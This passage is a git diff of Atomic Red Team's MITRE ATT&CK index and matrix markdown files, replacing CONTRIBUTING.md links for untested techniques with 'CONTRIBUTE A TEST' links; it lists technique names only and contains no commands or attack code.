[CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1071 Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1065 Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # privilege-escalation -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1160 Launch Daemon](./T1160/T1160.md) - Atomic Test #1: Launch Daemon [macos] - [T1150 Plist Modification](./T1150/T1150.md) @@ -265,8 +265,8 @@ - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1169 Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1206 Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 44ff39c0..65786300 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -1,30 +1,30 @@ # macOS Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credentials in Files](./T1081/T1081.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Local Job Scheduling](./T1168/T1168.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launchctl](./T1152/T1152.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Users](./T1147/T1147.md) | [Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Security Software Discovery](./T1063/T1063.md) | | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Information Discovery](./T1082/T1082.md) | | | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Logon Scripts](./T1037/T1037.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Users](./T1147/T1147.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Information Discovery](./T1082/T1082.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Logon Scripts](./T1037/T1037.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | [Rc.common](./T1163/T1163.md) | | [Launchctl](./T1152/T1152.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | -| | | [Re-opened Applications](./T1164/T1164.md) | | [Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | [Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Trap](./T1154/T1154.md) | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | [Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Process Injection](./T1055/T1055.md) | | | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| | | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | [Re-opened Applications](./T1164/T1164.md) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Startup Items](./T1165/T1165.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Trap](./T1154/T1154.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Uncommonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Rootkit](./T1014/T1014.md) | | | | | | | -| | | | | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Space after Filename](./T1151/T1151.md) | | | | | | | -| | | | | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | -| | | | | [Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | | | | | | +| | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/matrix.md b/atomics/matrix.md index 51b34dd8..7d16bdf8 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -1,62 +1,62 @@ # All Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary 